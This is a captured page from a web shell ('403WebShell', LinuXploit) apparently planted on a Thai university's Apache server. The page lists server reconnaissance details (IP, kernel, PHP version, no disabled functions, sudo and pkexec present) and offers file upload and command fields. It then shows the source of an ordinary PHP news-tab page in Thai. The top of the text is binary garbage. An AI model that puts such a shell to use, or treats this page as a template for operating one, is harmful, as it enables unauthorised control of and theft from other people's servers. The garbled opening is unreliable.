h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/tab3.php.old
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- DC Tabs CSS -->
<!-- jQuery Library (skip this step if already called on page ) -->
<!-- DC Tabs JS -->
		<script type="text/javascript" src="j/js/jquery-1.9.1.js"></script>

<script type="text/javascript" src="js/tab3.js"></script>
<style type="text/css">

.imgtab { float:left;}
.textimg { float:left;
			text-align:left;
			margin-left:5px;}

/* dCodes Framework:(c) TemplateAccess */
.dc_clear{clear:both;font-size:0px;line-height:0px;margin:0;padding:0;width:100%}
.dc_tabs_type_1 dd.current{display:block}
.dc_tabs_type_1{background-color:#f8f8f8;border-radius:10px;box-shadow:0 0 3px #c3c3c3;margin:0;overflow:hidden;position:relative;width:100%}
.dc_tabs_type_1 dt{border-bottom:1px solid #ededed;cursor:pointer;font-size:12px;font-weight:700;padding:14px 0 14px 3%;width:22%}
.dc_tabs_type_1 dt img{display:inline-block;margin-right:15px;position:relative;top:5px}
.dc_tabs_type_1 dd{background-color:#FFF;box-shadow:inherit;display:none;margin-left:2%;overflow:auto;padding:40px;position:absolute;right:0;top:0;z-index:1000}
.dc_tabs_type_1 dt:first-child{margin-top:0}
.dc_tabs_type_1 dd .column_group p:first-child{margin-top:0}
.dc_tabs_type_1_arrow{height:36px;left:23%;position:absolute;top:0;width:18px;z-index:1001}
.dc_tabs_type_1 dt.current,.dc_tabs_type_2 dt.current{background-color:#fff;color:#01C3FD !important}
.dc_tabs_type_2 dd.current{display:block}.dc_tabs_type_2{font-size:12px;margin:0;position:relative}.dc_tabs_type_2 dt{background-color:#f8f8f8;border-radius:10px 10px 0 0;box-shadow:0 0 3px #c3c3c3;cursor:pointer;float:left;font-size:12px;font-weight:bold;height:40px;line-height:40px;margin-left:0;margin-right:5px;padding:0 16px}

.dc_tabs_type_2 dt.current{background-color:#fff}

.dc_tabs_type_2 dd{background:#FFF;border-radius:0 10px 10px 10px;box-shadow:0 0 3px #c3c3c3;display:none;left:0;margin:0;padding:30px;position:absolute;top:40px}.dc_tabs_type_2_arrow{height:15px;position:absolute;top:38px;width:28px;z-index:1001}

#dc_tabs_type_3_container{width:100%}

#dc_tabs_type_3{list-style:none;margin:0;overflow:hidden;padding:0;width:100%}

#dc_tabs_type_3 li{float:left;margin:0 -15px 0 0}

#dc_tabs_type_3 a{border-bottom:30px solid #000;border-bottom-color:#000\9;border-right:30px solid transparent;color:#fff !important;filter:alpha(opacity=10);float:left;height:0;line-height:30px;opacity:.4;padding:0 40px;position:relative;text-decoration:none;text-transform:uppercase}
/*  สีหัวแทบ ก่อนชี้เมาส์*/

#dc_tabs_type_3 a:hover,#dc_tabs_type_3 a:focus{border-bottom-color:#6633ff;filter:alpha(opacity=100);opacity:1} /*  สีหัวแทบ เวลาชี้เมาส์*/

#dc_tabs_type_3 a:focus{outline:0}

#dc_tabs_type_3 #current{border-bottom-color:#6633ff;filter:alpha(opacity=100);opacity:1;z-index:3} /*  สีหัวแทบ เมื่อโดนเลือก์*/

#dc_tabs_type_3_content{background:#fff;border-bottom:1px solid #FFF;border-left:1px solid #FFF;border-right:1px solid #FFF;border-top:3px solid #6633ff;padding:2em; text-decoration:none;} /* 6633ff สีหัวเส้น สีกรอบของกล่องข้อความ*/

#dc_tabs_type_3_content h2,#dc_tabs_type_3_content h3,#dc_tabs_type_3_content p{margin:0 0 15px 0}#dc_tabs_type_4_container{width:100%}#dc_tabs_type_4{list-style:none;margin:0;overflow:auto;padding:0;width:100%}#dc_tabs_type_4 li{float:left;margin:0;padding:0}#dc_tabs_type_4 a{background:#ad1c1c;background:linear-gradient(220deg,transparent 10px,#ad1c1c 10px);background:-moz-linear-gradient(220deg,transparent 10px,#ad1c1c 10px);background:-ms-linear-gradient(220deg,transparent 10px,#ad1c1c 10px);background:-o-linear-gradient(220deg,transparent 10px,#ad1c1c 10px);background:-webkit-linear-gradient(220deg,transparent 10px,#ad1c1c 10px);box-shadow:-4px 0 0 rgba(0,0,0,.2);color:#fff !important;float:left;font:bold 12px/35px 'Lucida sans',Arial,Helvetica;height:35px;moz-box-shadow:-4px 0 0 rgba(0,0,0,.2);padding:0 30px;text-decoration:none;text-shadow:0 1px 0 rgba(0,0,0,.5);webkit-box-shadow:-4px 0 0 rgba(0,0,0,.2)}#dc_tabs_type_4 a:hover{background:#c93434;background:linear-gradient(220deg,transparent 10px,#c93434 10px);background:-moz-linear-gradient(220deg,transparent 10px,#c93434 10px);background:-ms-linear-gradient(220deg,transparent 10px,#c93434 10px);background:-o-linear-gradient(220deg,transparent 10px,#c93434 10px);background:-webkit-linear-gradient(220deg,transparent 10px,#c93434 10px)}#dc_tabs_type_4 a:focus{outline:0}#dc_tabs_type_4 #current a{background:#ddd;background:-moz-linear-gradient(220deg,transparent 10px,#ddd 10px);background:-webkit-linear-gradient(220deg,transparent 10px,#ddd 10px);background:-ms-linear-gradient(220deg,transparent 10px,#ddd 10px);background:-o-linear-gradient(220deg,transparent 10px,#ddd 10px);background:linear-gradient(220deg,transparent 10px,#ddd 10px);text-shadow:none;color:#333 !important}#dc_tabs_type_4_content{background-color:#fff;border-bottom:1px solid #c93434;border-left:1px solid #c93434;border-right:1px solid #c93434;border-top:1px solid #c93434;padding:16px}.dc_flat_tab_main_container{width:100%px}

ul.flat_tabs{border-bottom:1px solid #ccc;border-left:1px solid #ccc;float:left;height:32px;list-style:none;margin:0;padding:0;width:100% ;}

ul.flat_tabs li{background:#eee;border:1px solid #ccc;border-left:none;float:left;height:31px;line-height:31px;margin:0;margin-bottom:-1px;overflow:hidden;padding:0;position:relative}

ul.flat_tabs li a{border:1px solid #fff;color:#000 !important;display:block;font-size:1.2em;outline:none;padding:0 20px;text-decoration:none;}

ul.flat_tabs li a:hover{background:#ccc}html ul.flat_tabs li.active,html ul.flat_tabs li.active a:hover{background:#fff;border-bottom:1px solid #fff}.dc_flat_tab_subcontainer{background:#fff;border:1px solid #ccc;border-top:none;clear:both;float:left;khtml-border-radius-bottomleft:5px;khtml-border-radius-bottomright:5px;moz-border-radius-bottomleft:5px;moz-border-radius-bottomright:5px;webkit-border-bottom-left-radius:5px;webkit-border-bottom-right-radius:5px;width:100%}

.dc_flat_tab_content{font-size:1.2em;padding:20px;}

.dc_flat_tab_content h2{border-bottom:1px dashed #ddd;font-size:1.8em;font-weight:normal;padding-bottom:10px}

.dc_flat_tab_content h3 a{color:#254588}.dc_flat_tab_content img{border:1px solid #ddd;float:left;margin:0 20px 20px 0;padding:5px}.dc_gradient-tabs{position:relative;width:100%}.dc_gradient-tabs input{cursor:pointer;filter:alpha(opacity=0);height:40px;left:0px;ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;position:absolute;top:0px;width:120px;z-index:1000}.dc_gradient-tabs input#grad-tab-2{left:120px}.dc_gradient-tabs input#grad-tab-3{left:240px}

.dc_gradient-tabs input#grad-tab-4{left:360px}.dc_gradient-tabs label{background:#ddd;background:linear-gradient(top,#eee 0%,#ddd 100%);background:-moz-linear-gradient(top,#eee 0%,#ddd 100%);background:-ms-linear-gradient(top,#eee 0%,#ddd 100%);background:-o-linear-gradient(top,#eee 0%,#ddd 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#eee),color-stop(100%,#ddd));background:-webkit-linear-gradient(top,#eee 0%,#ddd 100%);border-radius:3px 3px 0 0;box-shadow:2px 0 2px rgba(0,0,0,0.1),-2px 0 2px rgba(0,0,0,0.1);color:#333 !important;display:block;float:left;font-size:15px;height:40px;letter-spacing:1px;line-height:40px;padding:0 20px;position:relative;text-align:center;text-shadow:1px 1px 1px rgba(255,255,255,0.3);text-transform:uppercase;width:80px}.dc_gradient-tabs label:after{background:#fff;bottom:-2px;content:'';display:block;height:2px;left:0;position:absolute;width:100%}.dc_gradient-tabs input:hover+label{background:#fff}.dc_gradient-tabs label:first-of-type{box-shadow:2px 0 2px rgba(0,0,0,0.1);z-index:4}.grad-tab-label-2{z-index:3}.grad-tab-label-3{z-index:2}.grad-tab-label-4{z-index:1}.dc_gradient-tabs input:checked+label{animation:page 0.2s linear;background:#f2f2f2;moz-animation:page 0.2s linear;ms-animation:page 0.2s linear;o-animation:page 0.2s linear;webkit-animation:page 0.2s linear;z-index:6}.clear-shadow{clear:both}.gradtab-content{background:#fff;border-radius:0 3px 3px 3px;box-shadow:1px 2px 7px rgba(0,0,0,0.2);min-height:240px!important;overflow:hidden;position:relative;width:100%;z-index:5}.gradtab-content div{moz-transition:all linear 0.3s;ms-transition:all linear 0.3s;opacity:0;o-transition:all linear 0.3s;padding:20px 30px 20px 30px;position:absolute;top:0;transition:all linear 0.3s;webkit-transition:all linear 0.3s;z-index:1}.gradtab-content-1,.gradtab-content-3{moz-transform:translateX(-250px);ms-transform:translateX(-250px);o-transform:translateX(-250px);transform:translateX(-250px);webkit-transform:translateX(-250px)}.gradtab-content-2,.gradtab-content-4{moz-transform:translateX(250px);ms-transform:translateX(250px);o-transform:translateX(250px);transform:translateX(250px);webkit-transform:translateX(250px)}.dc_gradient-tabs input.grad-tab-selector-1:checked ~ .gradtab-content .gradtab-content-1,.dc_gradient-tabs input.grad-tab-selector-2:checked ~ .gradtab-content .gradtab-content-2,.dc_gradient-tabs input.grad-tab-selector-3:checked ~ .gradtab-content .gradtab-content-3,.dc_gradient-tabs input.grad-tab-selector-4:checked ~ .gradtab-content .gradtab-content-4{filter:alpha(opacity=100);moz-transform:translateX(0px);moz-transition:all ease-out 0.2s 0.1s;ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";ms-transform:translateX(0px);ms-transition:all ease-out 0.2s 0.1s;opacity:1;o-transform:translateX(0px);o-transition:all ease-out 0.2s 0.1s;position:static;transform:translateX(0px);transition:all ease-out 0.2s 0.1s;webkit-transform:translateX(0px);webkit-transition:all ease-out 0.2s 0.1s;z-index:100}.gradtab-content div h2,.gradtab-content div h3{color:#398080}.gradtab-content div p{border-left:8px solid rgba(204,204,204,0.2);color:#777;font-size:14px;line-height:22px;margin:0;padding-left:15px;text-align:left}.dc_gradient-vtabs{position:relative;width:100%}.dc_gradient-vtabs input{cursor:pointer;filter:alpha(opacity=0);height:40px;left:0px;ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;position:absolute;top:0px;width:120px;z-index:1000}.dc_gradient-vtabs input#vgrad-tab-2{top:40px}.dc_gradient-vtabs input#vgrad-tab-3{top:80px}.dc_gradient-vtabs input#vgrad-tab-4{top:120px}.dc_gradient-vtabs label{background:#ddd;background:linear-gradient(top,#eee 0%,#ddd 100%);background:-moz-linear-gradient(top,#eee 0%,#ddd 100%);background:-ms-linear-gradient(top,#eee 0%,#ddd 100%);background:-o-linear-gradient(top,#eee 0%,#ddd 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#eee),color-stop(100%,#ddd));background:-webkit-linear-gradient(top,#eee 0%,#ddd 100%);border-radius:3px 0 0 3px;box-shadow:0px 2px 2px rgba(0,0,0,0.1);clear:both;color:#333 !important;display:block;float:left;font-size:15px;height:40px;letter-spacing:1px;line-height:40px;padding:0 20px;position:relative;text-align:right;text-shadow:1px 1px 1px rgba(255,255,255,0.3);text-transform:uppercase;width:80px}.dc_gradient-vtabs label:after{background:#ff2f2ff;content:'';height:100%;position:absolute;right:-2px;top:0;width:2px}.dc_gradient-vtabs input:hover+label{background:#ffffff}.dc_gradient-vtabs label:first-of-type{z-index:4}.vgrad-tab-label-2{z-index:3}.vgrad-tabtab-label-3{z-index:2}.vgrad-tabtab-label-4{z-index:1}.dc_gradient-vtabs input:checked+label{background:#f2f2f2;z-index:6}.clear-shadow{clear:both}.vgradtab-content{background:#fff;border-radius:3px;box-shadow:1px 2px 7px rgba(0,0,0,0.2);height:auto;margin:-175px 0 0 120px;overflow:hidden;position:relative;width:auto;z-index:5}.vgradtab-content div{moz-transition:all linear 0.5s;ms-transition:all linear 0.5s;opacity:0;o-transition:all linear 0.5s;padding:20px 30px 30px 30px;position:absolute;top:0;transition:all linear 0.5s;webkit-transition:all linear 0.5s;z-index:1}.vgradtab-content div{moz-transform:translateY(-450px);ms-transform:translateY(-450px);o-transform:translateY(-450px);transform:translateY(-450px);webkit-transform:translateY(-450px)}.dc_gradient-vtabs input.vgrad-tab-selector-1:checked ~ .vgradtab-content .vgradtab-content-1,.dc_gradient-vtabs input.vgrad-tab-selector-2:checked ~ .vgradtab-content .vgradtab-content-2,.dc_gradient-vtabs input.vgrad-tab-selector-3:checked ~ .vgradtab-content .vgradtab-content-3,.dc_gradient-vtabs input.vgrad-tab-selector-4:checked ~ .vgradtab-content .vgradtab-content-4{filter:alpha(opacity=100);moz-transform:translateY(0px);moz-transition:all ease-out 0.3s 0.3s;ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";ms-transform:translateY(0px);ms-transition:all ease-out 0.3s 0.3s;opacity:1;o-transform:translateY(0px);o-transition:all ease-out 0.3s 0.3s;position:relative;transform:translateY(0px);transition:all ease-out 0.3s 0.3s;webkit-transform:translateY(0px);webkit-transition:all ease-out 0.3s 0.3s;z-index:100}.vgradtab-content div h2,.vgradtab-content div h3{color:#398080}.vgradtab-content div p{border-left:8px solid rgba(204,204,204,0.2);color:#777;font-size:14px;line-height:22px;margin:0;padding-left:15px;text-align:left}

.mytext
{
	width:200px;
	background-color:#00FFCC;
	line-height:10px;
}
</style>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>

<!-- DC Google Tabs Start -->
<div class="dc_tabs_type_3_container" style="width:100%; height:auto;">
  <ul id="dc_tabs_type_3">
    <!-- Tab Captions-->
   <!--  <li><a href="#" name="#gtab1">ข่าวกิจกรรม</a></li> -->
    <li><a href="#" name="#gtab2">ประชาสัมพันธ์</a></li>
    <li><a href="#" name="#gtab3">ระเบียบ/ประกาศ</a></li>
  <!--  <li><a href="#" name="#gtab4">Four</a></li> -->
  </ul>
  <div id="dc_tabs_type_3_content" style="height:auto;"> <!-- Tab Content Container -->
     
    <!-- Tab 1 Start 
    <div id="gtab1">
    	<p style=" clear:both; color: #2081da; width:300px; float:left; padding-left: 20px; font-weight: 700; background: url(images/templatemo_title.png) center left no-repeat ">นิทรรศการจากวันนั้น..ถึงวันนี้</p>
                          
    	<p style="color: #2081da; width:300px; float:right; padding-left: 20px; font-weight: 700; background: url(images/templatemo_title.png) center left no-repeat">กิจกรรมยืมแหลก..แจกกระจาย</p>

        
<p style="float: left; width:300px;"><img src="images/templatemo_image_05.png" alt="marketing" class="image_frame" /><a href="NewsDetail?NewsId=100">นิทรรศการจากวันนั้น ถึงวันนี้ นิทรรศการเล็ก ๆ บอกเล่าเรื่องราวความเป็นมาของสำนักวิทยบริการ ตั้งแต่อดีตถึงปัจจุบัน แสดงภาพถ่ายและวัสดุอุปกรณ์เก่า ๆ ที่เคยใช้ภายในสำนักวิทยบริการฯ <font color="#6633FF">? อ่านต่อ </font> </a>
                    </p>
                        
        
<p style="float: left; width:320px;  padding-left: 20px; "><img src="images/ac2.png" alt="marketing" class="image_frame" height="100" width="320" />
                       <a href="NewsDetail?NewsId=97">กิจกรรมแจกรางวัล สำหรับผู้ที่ใช้บริการยืม - คืนทรัพยากรสารสนเทศ หากมีรายการยืมครบ 50 เล่ม รับไปทันทีของรางวัล ร่วมกิจกรรมได้ตั้งแต่วันนี้ - 31 ตุลาคม 2556 หรือจนกว่าของจะหมด <font color="#6633FF">? อ่านต่อ </font></a>  </p>
                        
                        
    	<p style=" clear:both; color: #2081da; width:300px; float:left; padding-left: 20px; font-weight: 700; background: url(images/templatemo_title.png) center left no-repeat ">รายชื่อผู้ได้รับรางวัลกิจกรรมบอกรักแม่</p>
                          
    	<p style="color: #2081da; width:300px; float:right; padding-left: 20px; font-weight: 700; background: url(images/templatemo_title.png) center left no-repeat">มุมอาเซียน</p>

        
<p style="float: left; width:300px;"><img src="images/ac3.png" alt="marketing" class="image_frame" /><a href="NewsDetail?NewsId=99">ประกาศรายชื่อผู้ได้รับรางวัลจากกิจกรรม บอกรักแม่..อย่าให้แพ้ใคร ผู้รับรางวัลได้ ณ จุดบริการยืม - คืนทรัพยากรสารสนเทศ ชั้น2 อาคารบรรณราชนครินทร์<font color="#6633FF">? อ่านต่อ </font> </a>
                    </p>
                        
        
<p style="float: left; width:320px;  padding-left: 20px;"><img src="images/ac4.png" alt="marketing" class="image_frame" height="100" width="320"/>
                       <a href="NewsDetail?NewsId=98">ต้อนรับการประชุมสุดยอดอาเซียน และเตรียมความพร้อมในการเป็นเจ้าภาพ ห้องสมุดได้รวบรวมหนังสือเกี่ยวกับอาเซียน และจัดแสดงหุ่นจำลองการแต่งกายประเทศที่เป็นสมาชิกของอาเซียน พร้อมข้อมูลที่เกี่ยวข้อง<font color="#6633FF">? อ่านต่อ </font></a>  </p>
                        
                        <p style="clear:both; text-align:right;"><a href="NewsAll?NewsType=4"> อ่านข่าวทั้งหมด </a></p>
                                 
                        </div>
Tab 1 End -->
     
    <!-- Tab 2 Start -->
    <div id="gtab2">
    <?
include "connect.php";
$sql="select * from news where NewsType='1' order by NewsId desc limit 0,10";
$query=mysql_query($sql);
$num=mysql_num_rows($query);
$i=0;
while($i < $num)
{
$arr=mysql_fetch_array($query);

$NewsId =$arr[NewsId ];
$NewsTitle  =$arr[NewsTitle];
$NewsMessage  =$arr[NewsMessage ];
$NewsFile =$arr[NewsFile];
$NewsType =$arr[NewsType];
$NewsTitle=iconv_substr($NewsTitle, 0,80, "UTF-8")

?>

      <p><img src="images/templatemo_title.png" width="13" height="13" /><a href="NewsDetail.php?NewsId=<? echo $NewsId?>"><? echo" $NewsTitle";?>..<font color="#6633FF">? อ่านต่อ </font></a></p>
      
      
      <?
	  $i++;
}
	  ?>
                  <p align="right"><a href="NewsAll.php?NewsType=1">อ่านข่าวทั้งหมด</a></p>

    </div>
    <!-- Tab 2 End -->
     
    <!-- Tab 3 Start -->
    <div id="gtab3">
    <?
include "connect.php";
$sql="select * from news where NewsType='3' order by NewsId desc limit 0,10";
$query=mysql_query($sql);
$num=mysql_num_rows($query);
$i=0;
while($i < $num)
{
$arr=mysql_fetch_array($query);

$NewsId =$arr[NewsId ];
$NewsTitle  =$arr[NewsTitle];
$NewsMessage  =$arr[NewsMessage ];
$NewsFile =$arr[NewsFile];
$NewsType =$arr[NewsType];
$max=100;
$NewsTitle=iconv_substr($NewsTitle, 0,80, "UTF-8")

?>

      <p><img src="images/templatemo_title.png" width="13" height="13" /><a href="NewsDetail.php?NewsId=<? echo $NewsId?>"><? echo" $NewsTitle";?>..<font color="#6633FF">? อ่านต่อ </font></a></p>
      
      
      <?
	  $i++;
}

	  ?>
                  <p align="right"><a href="NewsAll.php?NewsType=3">อ่านข่าวทั้งหมด</a></p>

    </div>
    <!-- Tab 3 End 
     
     Tab 4 Start 
    <div id="gtab4">
      <h2>Tab Four</h2>
      <p>Magnis dis parturient montes, nascetur ridiculus mus. Nullam ac massa quis nisi porta mollis venenatis sit amet urna. Ut in mauris velit, sed bibendum turpis.</p>
      <p>Nam ornare vulputate risus, id volutpat elit porttitor non. In consequat nisi vel lectus dapibus sodales. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent bibendum sagittis libero.</p>
    </div>
    Tab 4 End -->
     
  </div> <!-- /dc_tabs_type_3_content -->
</div>
<!-- DC Google Tabs End -->
<div class="dc_clear"></div> <!-- line break/clear line -->
  
<!-- DC Google Tabs Settings -->
  <script type="text/javascript">
    function resetTabs(){
        $("#dc_tabs_type_3_content div").hide(); //Hide all content
        $("#dc_tabs_type_3 a").attr("id",""); //Reset id's      
    }
    var myUrl = window.location.href; //get URL
    var myUrlTab = myUrl.substring(myUrl.indexOf("#")); // For localhost/tabs.html#tab2, myUrlTab = #tab2     
    var myUrlTabName = myUrlTab.substring(0,4); // For the above example, myUrlTabName = #tab
    (function(){
        $("#dc_tabs_type_3_content div").hide(); // Initially hide all content
        $("#dc_tabs_type_3 li:first a").attr("id","current"); // Activate first tab
        $("#dc_tabs_type_3_content div:first").fadeIn(); // Show first tab content
         
        $("#dc_tabs_type_3 a").on("click",function(e) {
            e.preventDefault();
            if ($(this).attr("id") == "current"){ //detection for current tab
             return       
            }
            else{             
            resetTabs();
            $(this).attr("id","current"); // Activate this
            $($(this).attr('name')).fadeIn(); // Show content for current tab
            }
        });
        for (i = 1; i <= $("#dc_tabs_type_3 li").length; i++) {
          if (myUrlTab == myUrlTabName + i) {
              resetTabs();
              $("a[name='"+myUrlTab+"']").attr("id","current"); // Activate url tab
              $(myUrlTab).fadeIn(); // Show url tab content        
          }
        }
    })()
     
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit